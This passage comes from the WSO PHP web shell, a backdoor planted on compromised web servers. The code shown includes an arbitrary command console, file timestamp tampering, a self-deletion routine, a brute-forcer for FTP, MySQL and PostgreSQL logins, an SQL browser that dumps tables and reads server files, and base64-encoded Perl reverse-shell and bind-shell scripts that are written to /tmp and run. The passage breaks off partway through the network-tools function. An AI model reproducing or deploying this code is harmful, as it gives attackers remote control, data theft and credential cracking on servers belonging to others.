  1249.                     case 0:  $h[2] .= ' '; break;
  1250.                     case 9:  $h[2] .= ' '; break;
  1251.                     case 10: $h[2] .= ' '; break;
  1252.                     case 13: $h[2] .= ' '; break;
  1253.                     default: $h[2] .= $c[$i]; break;
  1254.                 }
  1255.                 $n++;
  1256.                 if ($n == 32) {
  1257.                     $n = 0;
  1258.                     if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1259.                     $h[1] .= '<br>';
  1260.                     $h[2] .= "\n";
  1261.                 }
  1262.              }
  1263.             echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1264.             break;
  1265.         case 'rename':
  1266.             if( !empty($_POST['p3']) ) {
  1267.                 if(!@rename($_POST['p1'], $_POST['p3']))
  1268.                     echo 'Can\'t rename!<br>';
  1269.                 else
  1270.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1271.             }
  1272.             echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  1273.             break;
  1274.         case 'touch':
  1275.             if( !empty($_POST['p3']) ) {
  1276.                 $time = strtotime($_POST['p3']);
  1277.                 if($time) {
  1278.                     if(!touch($_POST['p1'],$time,$time))
  1279.                         echo 'Fail!';
  1280.                     else
  1281.                         echo 'Touched!';
  1282.                 } else echo 'Bad time format!';
  1283.             }
  1284.             clearstatcache();
  1285.             echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  1286.             break;
  1287.     }
  1288.     echo '</div>';
  1289.     wsoFooter();
  1290. }
  1291.  
  1292. function actionConsole() {
  1293.     if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  1294.         WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  1295.         $_POST['p1'] .= ' 2>&1';
  1296.     } elseif(!empty($_POST['p1']))
  1297.         WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  1298.  
  1299.     if(isset($_POST['ajax'])) {
  1300.         WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  1301.         ob_start();
  1302.         echo "d.cf.cmd.value='';\n";
  1303.         $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  1304.         if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    {
  1305.             if(@chdir($match[1])) {
  1306.                 $GLOBALS['cwd'] = @getcwd();
  1307.                 echo "c_='".$GLOBALS['cwd']."';";
  1308.             }
  1309.         }
  1310.         echo "d.cf.output.value+='".$temp."';";
  1311.         echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1312.         $temp = ob_get_clean();
  1313.         echo strlen($temp), "\n", $temp;
  1314.         exit;
  1315.     }
  1316.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1317.         WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  1318.     wsoHeader();
  1319.     echo "<script>
  1320. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1321. var cmds = new Array('');
  1322. var cur = 0;
  1323. function kp(e) {
  1324.     var n = (window.Event) ? e.which : e.keyCode;
  1325.     if(n == 38) {
  1326.         cur--;
  1327.         if(cur>=0)
  1328.             document.cf.cmd.value = cmds[cur];
  1329.         else
  1330.             cur++;
  1331.     } else if(n == 40) {
  1332.         cur++;
  1333.         if(cur < cmds.length)
  1334.             document.cf.cmd.value = cmds[cur];
  1335.         else
  1336.             cur--;
  1337.     }
  1338. }
  1339. function add(cmd) {
  1340.     cmds.pop();
  1341.     cmds.push(cmd);
  1342.     cmds.push('');
  1343.     cur = cmds.length-1;
  1344. }
  1345. </script>";
  1346.     echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1347.     foreach($GLOBALS['aliases'] as $n => $v) {
  1348.         if($v == '') {
  1349.             echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1350.             continue;
  1351.         }
  1352.         echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1353.     }
  1354.     
  1355.     echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1356.     if(!empty($_POST['p1'])) {
  1357.         echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1358.     }
  1359.     echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1360.     echo '</form></div><script>d.cf.cmd.focus();</script>';
  1361.     wsoFooter();
  1362. }
  1363.  
  1364. function actionLogout() {
  1365.     setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  1366.     die('bye!');
  1367. }
  1368.  
  1369. function actionSelfRemove() {
  1370.  
  1371.     if($_POST['p1'] == 'yes')
  1372.         if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1373.             die('Shell has been removed');
  1374.         else
  1375.             echo 'unlink error!';
  1376.     if($_POST['p1'] != 'yes')
  1377.         wsoHeader();
  1378.     echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1379.     wsoFooter();
  1380. }
  1381.  
  1382. function actionBruteforce() {
  1383.     wsoHeader();
  1384.     if( isset($_POST['proto']) ) {
  1385.         echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1386.         if( $_POST['proto'] == 'ftp' ) {
  1387.             function wsoBruteForce($ip,$port,$login,$pass) {
  1388.                 $fp = @ftp_connect($ip, $port?$port:21);
  1389.                 if(!$fp) return false;
  1390.                 $res = @ftp_login($fp, $login, $pass);
  1391.                 @ftp_close($fp);
  1392.                 return $res;
  1393.             }
  1394.         } elseif( $_POST['proto'] == 'mysql' ) {
  1395.             function wsoBruteForce($ip,$port,$login,$pass) {
  1396.                 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
  1397.                 @mysql_close($res);
  1398.                 return $res;
  1399.             }
  1400.         } elseif( $_POST['proto'] == 'pgsql' ) {
  1401.             function wsoBruteForce($ip,$port,$login,$pass) {
  1402.                 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1403.                 $res = @pg_connect($str);
  1404.                 @pg_close($res);
  1405.                 return $res;
  1406.             }
  1407.         }
  1408.         $success = 0;
  1409.         $attempts = 0;
  1410.         $server = explode(":", $_POST['server']);
  1411.         if($_POST['type'] == 1) {
  1412.             $temp = @file('/etc/passwd');
  1413.             if( is_array($temp) )
  1414.                 foreach($temp as $line) {
  1415.                     $line = explode(":", $line);
  1416.                     ++$attempts;
  1417.                     if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1418.                         $success++;
  1419.                         echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1420.                     }
  1421.                     if(@$_POST['reverse']) {
  1422.                         $tmp = "";
  1423.                         for($i=strlen($line[0])-1; $i>=0; --$i)
  1424.                             $tmp .= $line[0][$i];
  1425.                         ++$attempts;
  1426.                         if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1427.                             $success++;
  1428.                             echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1429.                         }
  1430.                     }
  1431.                 }
  1432.         } elseif($_POST['type'] == 2) {
  1433.             $temp = @file($_POST['dict']);
  1434.             if( is_array($temp) )
  1435.                 foreach($temp as $line) {
  1436.                     $line = trim($line);
  1437.                     ++$attempts;
  1438.                     if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1439.                         $success++;
  1440.                         echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1441.                     }
  1442.                 }
  1443.         }
  1444.         echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1445.     }
  1446.     echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1447.         .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1448.         .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1449.         .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1450.         .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1451.         .'<span>Server:port</span></td>'
  1452.         .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1453.         .'<tr><td><span>Brute type</span></td>'
  1454.         .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1455.         .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1456.         .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1457.         .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1458.         .'<td><input type=text name=login value="root"></td></tr>'
  1459.         .'<tr><td><span>Dictionary</span></td>'
  1460.         .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1461.         .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1462.     echo '</div><br>';
  1463.     wsoFooter();
  1464. }
  1465.  
  1466. function actionSql() {
  1467.     class DbClass {
  1468.         var $type;
  1469.         var $link;
  1470.         var $res;
  1471.         function DbClass($type)    {
  1472.             $this->type = $type;
  1473.         }
  1474.         function connect($host, $user, $pass, $dbname){
  1475.             switch($this->type)    {
  1476.                 case 'mysql':
  1477.                     if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1478.                     break;
  1479.                 case 'pgsql':
  1480.                     $host = explode(':', $host);
  1481.                     if(!$host[1]) $host[1]=5432;
  1482.                     if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1483.                     break;
  1484.             }
  1485.             return false;
  1486.         }
  1487.         function selectdb($db) {
  1488.             switch($this->type)    {
  1489.                 case 'mysql':
  1490.                     if (@mysql_select_db($db))return true;
  1491.                     break;
  1492.             }
  1493.             return false;
  1494.         }
  1495.         function query($str) {
  1496.             switch($this->type) {
  1497.                 case 'mysql':
  1498.                     return $this->res = @mysql_query($str);
  1499.                     break;
  1500.                 case 'pgsql':
  1501.                     return $this->res = @pg_query($this->link,$str);
  1502.                     break;
  1503.             }
  1504.             return false;
  1505.         }
  1506.         function fetch() {
  1507.             $res = func_num_args()?func_get_arg(0):$this->res;
  1508.             switch($this->type)    {
  1509.                 case 'mysql':
  1510.                     return @mysql_fetch_assoc($res);
  1511.                     break;
  1512.                 case 'pgsql':
  1513.                     return @pg_fetch_assoc($res);
  1514.                     break;
  1515.             }
  1516.             return false;
  1517.         }
  1518.         function listDbs() {
  1519.             switch($this->type)    {
  1520.                 case 'mysql':
  1521.                         return $this->query("SHOW databases");
  1522.                 break;
  1523.                 case 'pgsql':
  1524.                     return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1525.                 break;
  1526.             }
  1527.             return false;
  1528.         }
  1529.         function listTables() {
  1530.             switch($this->type)    {
  1531.                 case 'mysql':
  1532.                     return $this->res = $this->query('SHOW TABLES');
  1533.                 break;
  1534.                 case 'pgsql':
  1535.                     return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1536.                 break;
  1537.             }
  1538.             return false;
  1539.         }
  1540.         function error() {
  1541.             switch($this->type)    {
  1542.                 case 'mysql':
  1543.                     return @mysql_error();
  1544.                 break;
  1545.                 case 'pgsql':
  1546.                     return @pg_last_error();
  1547.                 break;
  1548.             }
  1549.             return false;
  1550.         }
  1551.         function setCharset($str) {
  1552.             switch($this->type)    {
  1553.                 case 'mysql':
  1554.                     if(function_exists('mysql_set_charset'))
  1555.                         return @mysql_set_charset($str, $this->link);
  1556.                     else
  1557.                         $this->query('SET CHARSET '.$str);
  1558.                     break;
  1559.                 case 'pgsql':
  1560.                     return @pg_set_client_encoding($this->link, $str);
  1561.                     break;
  1562.             }
  1563.             return false;
  1564.         }
  1565.         function loadFile($str) {
  1566.             switch($this->type)    {
  1567.                 case 'mysql':
  1568.                     return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1569.                 break;
  1570.                 case 'pgsql':
  1571.                     $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1572.                     $r=array();
  1573.                     while($i=$this->fetch())
  1574.                         $r[] = $i['file'];
  1575.                     $this->query('drop table wso2');
  1576.                     return array('file'=>implode("\n",$r));
  1577.                 break;
  1578.             }
  1579.             return false;
  1580.         }
  1581.         function dump($table, $fp = false) {
  1582.             switch($this->type)    {
  1583.                 case 'mysql':
  1584.                     $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1585.                     $create = mysql_fetch_array($res);
  1586.                     $sql = $create[1].";\n";
  1587.                     if($fp) fwrite($fp, $sql); else echo($sql);
  1588.                     $this->query('SELECT * FROM `'.$table.'`');
  1589.                     $i = 0;
  1590.                     $head = true;
  1591.                     while($item = $this->fetch()) {
  1592.                         $sql = '';
  1593.                         if($i % 1000 == 0) {
  1594.                             $head = true;
  1595.                             $sql = ";\n\n";
  1596.                         }
  1597.  
  1598.                         $columns = array();
  1599.                         foreach($item as $k=>$v) {
  1600.                             if($v === null)
  1601.                                 $item[$k] = "NULL";
  1602.                             elseif(is_int($v))
  1603.                                 $item[$k] = $v;
  1604.                             else
  1605.                                 $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1606.                             $columns[] = "`".$k."`";
  1607.                         }
  1608.                         if($head) {
  1609.                             $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1610.                             $head = false;
  1611.                         } else
  1612.                             $sql .= "\n\t,(".implode(", ", $item).')';
  1613.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1614.                         $i++;
  1615.                     }
  1616.                     if(!$head)
  1617.                         if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1618.                 break;
  1619.                 case 'pgsql':
  1620.                     $this->query('SELECT * FROM '.$table);
  1621.                     while($item = $this->fetch()) {
  1622.                         $columns = array();
  1623.                         foreach($item as $k=>$v) {
  1624.                             $item[$k] = "'".addslashes($v)."'";
  1625.                             $columns[] = $k;
  1626.                         }
  1627.                         $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1628.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1629.                     }
  1630.                 break;
  1631.             }
  1632.             return false;
  1633.         }
  1634.     };
  1635.     $db = new DbClass($_POST['type']);
  1636.     if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
  1637.         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1638.         $db->selectdb($_POST['sql_base']);
  1639.         switch($_POST['charset']) {
  1640.             case "Windows-1251": $db->setCharset('cp1251'); break;
  1641.             case "UTF-8": $db->setCharset('utf8'); break;
  1642.             case "KOI8-R": $db->setCharset('koi8r'); break;
  1643.             case "KOI8-U": $db->setCharset('koi8u'); break;
  1644.             case "cp866": $db->setCharset('cp866'); break;
  1645.         }
  1646.         if(empty($_POST['file'])) {
  1647.             ob_start("ob_gzhandler", 4096);
  1648.             header("Content-Disposition: attachment; filename=dump.sql");
  1649.             header("Content-Type: text/plain");
  1650.             foreach($_POST['tbl'] as $v)
  1651.                 $db->dump($v);
  1652.             exit;
  1653.         } elseif($fp = @fopen($_POST['file'], 'w')) {
  1654.             foreach($_POST['tbl'] as $v)
  1655.                 $db->dump($v, $fp);
  1656.             fclose($fp);
  1657.             unset($_POST['p2']);
  1658.         } else
  1659.             die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1660.     }
  1661.     wsoHeader();
  1662.     echo "
  1663. <h1>Sql browser</h1><div class=content>
  1664. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1665. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1666. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1667. <td><select name='type'><option value='mysql' ";
  1668.     if(@$_POST['type']=='mysql')echo 'selected';
  1669. echo ">MySql</option><option value='pgsql' ";
  1670. if(@$_POST['type']=='pgsql')echo 'selected';
  1671. echo ">PostgreSql</option></select></td>
  1672. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  1673. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  1674. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
  1675.     $tmp = "<input type=text name=sql_base value=''>";
  1676.     if(isset($_POST['sql_host'])){
  1677.         if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1678.             switch($_POST['charset']) {
  1679.                 case "Windows-1251": $db->setCharset('cp1251'); break;
  1680.                 case "UTF-8": $db->setCharset('utf8'); break;
  1681.                 case "KOI8-R": $db->setCharset('koi8r'); break;
  1682.                 case "KOI8-U": $db->setCharset('koi8u'); break;
  1683.                 case "cp866": $db->setCharset('cp866'); break;
  1684.             }
  1685.             $db->listDbs();
  1686.             echo "<select name=sql_base><option value=''></option>";
  1687.             while($item = $db->fetch()) {
  1688.                 list($key, $value) = each($item);
  1689.                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1690.             }
  1691.             echo '</select>';
  1692.         }
  1693.         else echo $tmp;
  1694.     }else
  1695.         echo $tmp;
  1696.     echo "</td>
  1697.                 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1698.                 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1699.             </tr>
  1700.         </table>
  1701.         <script>
  1702.             s_db='".@addslashes($_POST['sql_base'])."';
  1703.             function fs(f) {
  1704.                 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1705.                     if(f.p1) f.p1.value='';
  1706.                     if(f.p2) f.p2.value='';
  1707.                     if(f.p3) f.p3.value='';
  1708.                 }
  1709.             }
  1710.             function st(t,l) {
  1711.                 d.sf.p1.value = 'select';
  1712.                 d.sf.p2.value = t;
  1713.                 if(l && d.sf.p3) d.sf.p3.value = l;
  1714.                 d.sf.submit();
  1715.             }
  1716.             function is() {
  1717.                 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1718.                     d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1719.             }
  1720.         </script>";
  1721.     if(isset($db) && $db->link){
  1722.         echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1723.             if(!empty($_POST['sql_base'])){
  1724.                 $db->selectdb($_POST['sql_base']);
  1725.                 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1726.                 $tbls_res = $db->listTables();
  1727.                 while($item = $db->fetch($tbls_res)) {
  1728.                     list($key, $value) = each($item);
  1729.                     if(!empty($_POST['sql_count']))
  1730.                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1731.                     $value = htmlspecialchars($value);
  1732.                     echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
  1733.                 }
  1734.                 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1735.                 if(@$_POST['p1'] == 'select') {
  1736.                     $_POST['p1'] = 'query';
  1737.                     $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1738.                     $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1739.                     $num = $db->fetch();
  1740.                     $pages = ceil($num['n'] / 30);
  1741.                     echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1742.                     echo " of $pages";
  1743.                     if($_POST['p3'] > 1)
  1744.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
  1745.                     if($_POST['p3'] < $pages)
  1746.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
  1747.                     $_POST['p3']--;
  1748.                     if($_POST['type']=='pgsql')
  1749.                         $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1750.                     else
  1751.                         $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1752.                     echo "<br><br>";
  1753.                 }
  1754.                 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1755.                     $db->query(@$_POST['p2']);
  1756.                     if($db->res !== false) {
  1757.                         $title = false;
  1758.                         echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1759.                         $line = 1;
  1760.                         while($item = $db->fetch())    {
  1761.                             if(!$title)    {
  1762.                                 echo '<tr>';
  1763.                                 foreach($item as $key => $value)
  1764.                                     echo '<th>'.$key.'</th>';
  1765.                                 reset($item);
  1766.                                 $title=true;
  1767.                                 echo '</tr><tr>';
  1768.                                 $line = 2;
  1769.                             }
  1770.                             echo '<tr class="l'.$line.'">';
  1771.                             $line = $line==1?2:1;
  1772.                             foreach($item as $key => $value) {
  1773.                                 if($value == null)
  1774.                                     echo '<td><i>null</i></td>';
  1775.                                 else
  1776.                                     echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1777.                             }
  1778.                             echo '</tr>';
  1779.                         }
  1780.                         echo '</table>';
  1781.                     } else {
  1782.                         echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1783.                     }
  1784.                 }
  1785.                 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1786.                 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1787.                     echo htmlspecialchars($_POST['p2']);
  1788.                 echo "</textarea><br/><input type=submit value='Execute'>";
  1789.                 echo "</td></tr>";
  1790.             }
  1791.             echo "</table></form><br/>";
  1792.             if($_POST['type']=='mysql') {
  1793.                 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1794.                 if($db->fetch())
  1795.                     echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1796.             }
  1797.             if(@$_POST['p1'] == 'loadfile') {
  1798.                 $file = $db->loadFile($_POST['p2']);
  1799.                 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1800.             }
  1801.     } else {
  1802.         echo htmlspecialchars($db->error());
  1803.     }
  1804.     echo '</div>';
  1805.     wsoFooter();
  1806. }
  1807. function actionNetwork() {
  1808.     wsoHeader();
  1809.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1810.     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1811.     echo "<h1>Network tools</h1><div class=content>
  1812.     <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1813.     <span>Bind port to /bin/sh [perl]</span><br/>
  1814.     Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1815.     </form>
  1816.     <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1817.     <span>Back-connect  [perl]</span><br/>
  1818.     Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1819.     </form><br>";
  1820.     if(isset($_POST['p1'])) {
  1821.         function cf($f,$t) {
  1822.             $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1823.             if($w){
  1824.                 @fwrite($w,@base64_decode($t));
  1825.                 @fclose($w);
  1826.             }
  1827.         }
  1828.         if($_POST['p1'] == 'bpp') {
  1829.             cf("/tmp/bp.pl",$bind_port_p);
  1830.             $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1831.             sleep(1);
  1832.             echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1833.             unlink("/tmp/bp.pl");
  1834.         }
  1835.         if($_POST['p1'] == 'bcp') {
  1836.             cf("/tmp/bc.pl",$back_connect_p);
  1837.             $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1838.             sleep(1);
